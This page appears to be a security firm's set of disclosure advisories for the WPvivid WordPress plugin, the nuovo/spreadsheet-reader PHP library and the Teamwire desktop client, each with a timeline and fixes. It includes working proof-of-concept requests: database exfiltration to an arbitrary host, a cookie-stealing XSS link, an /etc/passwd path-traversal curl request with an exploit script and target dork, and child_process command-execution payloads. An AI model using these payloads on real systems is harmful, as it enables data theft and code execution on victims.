Autor: David Mathiszik

Advisories, Allgemein, Penetrationstest, Schwachstelle

Multiple vulnerabilities in WordPress Plugin – WPvivid Backup and Migration

As part of a customer project, multiple vulnerabilities in the WordPress plugin WPvivid Backup and Migration (Free Edition) were identified and further investigated outside the project to determine the impact in more detail.

The vulnerabilities were identified in version 0.9.68 and probably exist in older versions as well. Upgrade the plugin WPvivid Backup and Migration (Free Edition) to the version 0.9.69 or higher as soon as possible to fix the vulnerabilities.

Background Information

WPvivid Backup and Migration is a WordPress plugin by WPvivid Team and offers backup, migration, and staging as basic features. This plugin has more than 200,000 active installations.

The vulnerabilities

Functions of the WPvivid Backup and Migration plugin in version 0.9.68 can be called remotely without authentication, which allows attackers to exfiltrate the entire WordPress database, for example, or to fill the hard disk of the corresponding system by multiple local copies of the WordPress pages disturbing their availability (CVE-2024-1982).

Furthermore, SQL queries can be manipulated (SQL injection), which means that further database contents can probably be read or manipulated without authentication (CVE-2024-1981).

The plugin is also vulnerable to stored cross-site scripting attacks . For this, a WordPress administrator must execute a manipulated link, for example. This vulnerability was simultaneously published by another researcher and is already tracked under CVE-2021-24994.

Unauthenticated Access to WPvivid Functions (CVE-2024-1982)

The following plugin functions can be called unauthenticated e. g. over the Internet:

  • wp_ajax_nopriv_wpvivid_restore
  • wp_ajax_nopriv_wpvivid_get_restore_progress
  • wp_ajax_nopriv_wpvividstg_start_staging_free
  • wp_ajax_nopriv_wpvividstg_get_staging_progress_free

The function wp_ajax_nopriv_wpvividstg_start_staging_free can be used to trigger the creation of a staging web page. Selected or all files of the WordPress installation are copied into a definable subdirectory. This functionality can be started without prior authentication like this:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

path=custom_name_staging_page&table_prefix=something&custom_dir=something&additional_db={"test":"test"}&root_dir=0

Afterwards, the server response {"result":"success","task_id":"wpvivid-61ba042730a63"} indicates that the action was successful.

By continuously running this function to create staging versions of the web application an attacker can exhaust the systems disk space. Normal operation of the system and especially of the web application can thus no longer be provided.

By specifying a remote system in the parameters of the function wp_ajax_nopriv_wpvividstg_start_staging_free, the contents of the WordPress installation can be exfiltrated. This can be done as in the following example request:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: example.org
[…]
Content-Type: application/x-www-form-urlencoded
 
path=name_existing_staging_page&create_new_wp=1&additional_db={"additional_database_check":"1","additional_database_info":{"db_host":"192.168.0.5","db_name":"something","db_user":"username","db_pass":"password"}}&custom_dir={"database_check":1}&table_prefix=something

Afterwards, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

Thus, an attacker can retrieve sensitive data from WordPress databases.

Update: The vendor fix in version 0.9.69 simply disables the wpvividstg_start_staging_free action, see code changes to includes/staging/class-wpvivid-staging.php here.

SQL Injection in WPvivid Function (CVE-2024-1981)

The parameter table_prefix in the function wpvividstg_start_staging_progress_free appears to be vulnerable to an SQL injection. However, no more in-depth exploitability was performed as part of the research.

The following HTTP request was sent to the plugin function with the parameter value test':

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

 
path=something&additional_db={"test":"test"}&custom_dir={"database_check":1}&table_prefix=test'

Subsequently, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

It may happen that the status has to be queried several times until the following response containing the SQL exception is returned:

{"continue":0,"error":1,"error_msg":"Failed to create a table. Error:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` b...' at line 1, query:CREATE TABLE `test'commentmeta` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` bigint(20) unsigned NOT NULL DEFAULT 0,\n  `meta_key` varchar(255) DEFAULT NULL,\n  `meta_value` longtext DEFAULT NULL,\n  PRIMARY KEY (`meta_id`),\n  KEY `comment_id` (`comment_id`),\n  KEY `meta_key` (`meta_key`(191))\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4","log":"open log file failed","percent":50,"result":"success"}

Update: Here, the vendor fix in version 0.9.69 is the same as for the previous vulnerability. The wpvividstg_get_staging_progress_free action was simply disabled by commenting it out in includes/staging/class-wpvivid-staging.php, see here.

Stored Cross Site Scripting (XSS) in WPvivid

Update: This vulnerability was also independently discovered and reported by another researcher and was assigned CVE-2021-24994 (published during the responsible disclosure process, see here).

The plugin offers remote storage on a Google Drive. For this, an account (called Google Drive Remote Storage Account) for the corresponding authentication must be provided. The name of the specified account is included partially unfiltered in an onclick JavaScript area within the plugin. This means that arbitrary HTML and JavaScript code can be injected. This behavior allows stored XSS attacks via the plugin web interface.

When a logged in WordPress administrator executes the following link, an account with the specified name is automatically stored in the plugin:

http://myblog.hisocorp.com/wp-admin/admin.php?page=WPvivid&action=wpvivid_google_drive_finish_auth&name=test2%22%20onload%3dalert(document.cookie)%3E&default=lll%27%22lll&auth_id

The payload passed in this example adds the JavaScript attribute onload, which is used to display the session cookies in an alert box:

Responsible Disclosure Timeline

  • 15.12.2021 – HiSolutions identified the vulnerabilities
  • 14.01.2022 – HiSolutions contaced WPvivid Team via contact form
  • 20.01.2022 – WPvivid Team responds and HiSolutions sends the details regarding the vulnerabilities
  • 14.02.2022 – WPvivid Team provides the new version 0.9.69 in which the vulnerabilities should be fixed
  • 01.03.2022 – HiSolutions tests the new version. The vulnerabilities were fixed.
  • 29.02.2024 – The Wordfence CNA issues CVE-2024-1981 and CVE-2024-1982.

Credits

The vulnerabilities were found by Denis Werner (HiSolutions AG). The fixes were reviewed by David Mathiszik (HiSolutions AG).

Advisories, Allgemein, Penetrationstest, Schwachstelle

Arbitrary File Read vulnerability – PHP library nuovo/spreadsheet-reader 0.5.11

Within the scope of a penetration test HiSolutions‘ security consultants discovered an arbitrary file read vulnerability in the spreadsheet-reader library by nuovo. The vulnerability was reported before by another security researcher on 17th Dec 2020 but does not have gotten any attention by the author since. After unsuccessful attempts to contact the author via different channels, HiSolutions decided to release exploit details without further actions. The vulnerability affects the current version 0.5.11 which is the latest version since 2015. It may affects earlier versions as well.

Update: As of April 2023, this vulnerability was assigned CVE-2023-29887.

Background Information

The spreadsheet-reader library by nouvo is a widely used PHP software which is used to read out XLS, XLSX, ODS and variously separated text files. The project is hosted on Github and got a decent number of 660 stars and 494 forks. Furthermore it is listed on Packagist, a known PHP package repository, and was downloaded over 500.000 times. Using dependency managers like composer, the vulnerable library obviously found its way into various PHP websites (see Google dork in section “impact” for more information).

The vulnerability

The software ships with a “test.php” file located in the root-directory if the project. The PHP file can be called with the parameter “File” via HTTP GET. Due to the lack of security checks arbitrary paths can be passed as a value for the File parameter:

curl http://127.0.0.1/vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd

As a result from the request above, the contents of the etc/passwd file get returned as a nested PHP array:

---------------------------------
Starting memory: 670416
---------------------------------
---------------------------------
Spreadsheets:
Array
(
    [0] => passwd
)
---------------------------------
---------------------------------
---------------------------------
*** Sheet passwd ***
---------------------------------
0: Array
(
    [0] => root:x:0:0:root:/root:/bin/bash
)
Memory: 3000 current, 719760 base
---------------------------------
1: Array
(
    [0] => bin:x:1:1:bin:/bin:/sbin/nologin
)
Memory: 3232 current, 719992 base
---------------------------------
2: Array
(
    [0] => daemon:x:2:2:daemon:/sbin:/sbin/nologin
)
Memory: 3224 current, 719984 base
---------------------------------
3: Array
(
    [0] => adm:x:3:4:adm:/var/adm:/sbin/nologin
)

[...]

To display only the actual file content and filter out the “noise” around the output, use the following script:

#!/bin/bash

## usage:
# $ spreadsheet-reader-exploit.sh URL FILEPATH
# $ http://127.0.0.1/vendor/nuovo/spreadsheet-reader ../../../../../../../../../../../etc/passwd

SPREADSHEET_FOLDER_URI=$1
FILEPATH=$2
TMP=/tmp/spreadsheesh.txt

curl -s "${SPREADSHEET_FOLDER_URI}/test.php?File=${FILEPATH}" -o ${TMP}
cat ${TMP} | grep ] | cut -d ">" -f 2- | grep -v '^[[:space:]]*$'

Impact

The vulnerability is trivial to exploit. Attackers are able to read arbitrary files from the servers file system with the privileges of the PHP process.

The following google dork shows that multiple websites are online, using the vulnerable composer package:

inurl:"/nuovo/spreadsheet-reader" (Link)

Remediation

As a quick fix the test.php file should be deleted. This would stop attackers to exploit the vulnerability using the default file.

Nevertheless, the vulnerability is not limited to the default test.php file. The root cause of the problem is that the application itself does not sanitize or normalize the passed path-parameter when reading out files from the file system. Therefore, your software must sanitize the path manually before passing it to the library.

Since the project has not received any updates since 2015, despite many open Github (security) issues, it can be assumed that it is not under active development anymore. Therefore, we recommend to use an alternative library.

Responsible Disclosure Timeline

  • 17.12.2020 – The user “liquidsec” first reported an arbitrary read vulnerability discovered in a penetration test.
  • 30.03.2022 – Independent discovery of the vulnerability by HiSolutions within the scope of a penetration test.
  • since 29.04.2022 – HiSolutions contacted the author through Github, Facebook and LinkedIn.
  • 13.01.2023 – Since the author did not respond to any of the messages, HiSolutions decided to disclose the exploitation details.

Credits

The vulnerability was found by Ronny Dobra (HiSolutions AG).

Allgemein, Schwachstelle

Web vulnerabilities are coming to the Desktop again – RCEs and other vulnerabilities in Teamwire

TL;DR (Teamwire users): Multiple vulnerabilities have been found in Teamwire which allow malicious users to execute commands on victim’s computers. Upgrade Teamwire to the newest version (at least v2.5.0 as of Jan 21, 2021) as soon as possible to fix the vulnerabilities.

TL;DR (Technical): Cross-site-scripting and HTML injections are common vulnerabilities in web applications. If a desktop application, like the Teamwire Windows client, builds on a web engine which is vulnerable to these issues, this can result in remote code execution on the client systems.

Vulnerability Summary

A HiSolutions researcher discovered that code could be executed in other users clients if a crafted message was shown in their search results (CVE-2024-24275). Another vulnerability in the handling of pasted text (CVE-2024-24278) and potential issues that allowed for the injection of sanitized HTML-elements (CVE-2024-24276) were found and reported to Teamwire.
Teamwire replied back that the issues were independently found in an internal security audit a few weeks before and released a new Teamwire version within a day.
When HiSolutions reviewed this new version, it was discovered that only a part of the reported vulnerabilities were fixed. Furthermore, the previously identified RCE (CVE-2024-24275) vulnerability could be exploited again in this version, just slightly different this time. In the new version, code was executed when an attacker created a group with a specially crafted name and invited victims to the group as well as in any other places where the group name was shown (e.g. search results or group directory).

Background

Teamwire uses different technologies for their Windows desktop client that contained the below mentioned vulnerabilities. The client is based on NW.js. As written in our last article about a different set of Teamwire vulnerabilities:

NW.js is a technology that combines the browser engine WebKit with the JavaScript framework Node.js, and is often used to create cross-platform applications. This combination enables users to call Node.js functions directly from the DOM of the embedded Chromium browser.

The application itself then uses, among other technologies, AngularJS for client side JavaScript functionality.

Vulnerability Details

Desktop client RCE through search results (CVE-2024-24275)

In versions below 2.3.0 of the Teamwire Windows desktop client, when a message that contained HTML code was shown inside the search results, this HTML code was embedded inside the client without any sanitization or encoding. Any included HTML elements were rendered and JavaScript code executed, allowing for arbitrary code execution. This issue affected both the chat and the global search function. Through NodeJS functions, commands could be executed directly on the operating system of the victim.

If the attacker created an arbitrary group, posted messages similar to:

<img src=x onerror="const spawn=require('child_process').spawn;spawn('cmd.exe',['/c','calc.exe']);console.log(1);//Something searchword">

and invited a victim, the payload was planted inside the client application. When a victim then did a search (inside the chat or global search) for a word matching any of the additionally supplied words (see text in red in payload), the code was executed on the client system. For demonstration purposes, the program calc.exe was opened but any actions inside the application or on the system would have been possible.

Screenshot of the calc.exe program that was executed when JavaScript code embedded in a message from the attacker was executed after it matched the search of a victim.

The underlying reason for this behaviour seemed to be the function that normally provided the highlighting of the search words (angular.module("Teamwire.filters").filter("highlight",…). This function did not sanitize, filter or encode the messages in the search results before using the AngularJS function trustAsHtml and embedding the result. Any included HTML elements were therefore rendered and any contained JavaScript code executed.

This behaviour affected the versions of the Teamwire Windows desktop client between version numbers 2.0.1 and below 2.3.0. Older versions may be affected as well.
The vulnerability was fixed in version 2.3.0.
However, version 2.3.0 was affected in another way by the following vulnerability.

Desktop client RCE through list names (also tracked under CVE-2024-24275)

In version 2.3.0 of the Teamwire Windows desktop client, group names were embedded inside the client without any sanitization or encoding. Any included HTML elements were rendered and JavaScript code executed in multiple places, allowing for arbitrary code execution. Through NodeJS functions, commands could be executed directly on the operating system of the victim.

If the attacker created a group with the name

<img src=x onerror="const spawn=require('child_process').spawn;spawn('cmd.exe',['/c','calc.exe']);console.log(1);//Something">

and invited the victims, the code was executed on the client systems. For demonstration purposes, the program calc.exe was opened but any actions inside the application or on the system would have been possible.

Screenshot of the program calc.exe that was opened for demonstation purposes.

The injected code was executed at least in the following places:

  • When a user viewed the tab „Directory“ and then „Lists“ and was added to the malicious group by the attacker
  • When a user used the global search and the malicious group name matched the search word
  • When a user viewed the members of a group chat that contained the malicious group as a member
  • When a user wanted to create a new group chat and the malicious group was an element in the „Lists“ directory

This behaviour affected version 2.3.0 of the Teamwire Windows desktop client. Older versions were not affected.
The vulnerability was fixed in version 2.4.0.

Automatic UNC path resolution in pasted text (CVE-2024-24278)

If a user pasted text into the message area of the Teamwire Windows client and that text matched a UNC path, the Teamwire client automatically tried to connect to the system and proceeded to authenticate via SMB with the current Windows logon credentials. An attacker inside the internal network could use this vulnerability to capture hashed credentials or redirect the user authentication attempt to other systems.

For example: If a user pasted the text „\\192.168.194.133\something\test.docx“ into the message field, the client tried to access the SMB share on the system 192.168.194.133 immediately without showing the pasted text first.

This behaviour would be expected if a client would click on a link or open the path in the Windows explorer. It is however not expected if a user only pastes the text without submitting it or initiating any other action. Especially if a user copies text from a web page, where malicious content could be hidden by CSS, unintended text might be pasted into the application. The pasted content is only shown after the connection to the specified share was already established.

This behaviour affected all versions of the Teamwire Windows desktop clients between version numbers 2.0.1 and 2.4.0. Older versions may be affected as well. A newer version than 2.4.0 may include a fix but was not tested.

Injection of sanitized HTML elements in multiple places (CVE-2024-24276)

At least four instances inside the Teamwire Windows client were identified, where user supplied HTML code was rendered inside the application. The HTML code however, was sanitized by the AngularJS sanitize$ function, which prevented the insertion of malicious JavaScript code. An attacker would need to find a bypass for this function to elevate these issues into remote code exection vulnerabilities.
Without such a bypass, only harmless modifications like manipulation of the application appearance or embedding of external images was possbile.

The four identified instances were:

  1. When an administrator renamed a chat, the new name was sent to all members of the group and the sanitized HTML was rendered
    Screenshot of HTML injection inside new group name
  2. The message preview when a user answered another message
    Screenshot of HTML injection in message answer preview
  3. When a user with a manipulated name was removed from a group
    Screenshot of HTML injection when malicious user is removed from a chat
  4. When an administrator tried to leave a chat that still contained a group of which he was a member

This behaviour affected all versions of the Teamwire Windows desktop clients between version numbers 2.0.1 and 2.2.1. Older versions may be affected as well.
Instances 2 and 4 were fixed in version 2.3.0.
Instances 1 and 3 still exist in 2.3.0 and possibly later versions as well.

Disclosure Timeline

  • 25. August 2020 – HiSolutions reaches out to Teamwire to establish secure, encrypted communication via email so that vulnerability details can be sent
  • 25. August 2020 – Teamwire provides a contact and the corresponding PGP key
  • 25. August 2020 – HiSolutions sends the vulnerability details for the three vulnerabilities CVE-2024-24275, CVE-2024-24276, CVE-2024-24278
  • 26. August 2020 – Teamwire responds that the mentioned issues were internally discovered a few weeks before and releases a new Teamwire version 2.3.0 that is supposed to contain the fixes
  • 26. August 2020 – HiSolutions tests the new version
  • 27. August 2020 – HiSolutions sends the details of the retest and the new vulnerability to the Teamwire contact
  • 16. October 2020 – Teamwire publishes version 2.4.0 which includes fixes for some of the vulnerabilities
  • 2020/2021 HiSolutions can no longer assess Teamwire and pauses the responsible disclosure process
  • 16. January 2024 – HiSolutions publishes the vulnerability details after a sufficient grace period

Credits

The vulnerabilities were found by Denis Werner (HiSolutions AG) who also reviewed the fixes.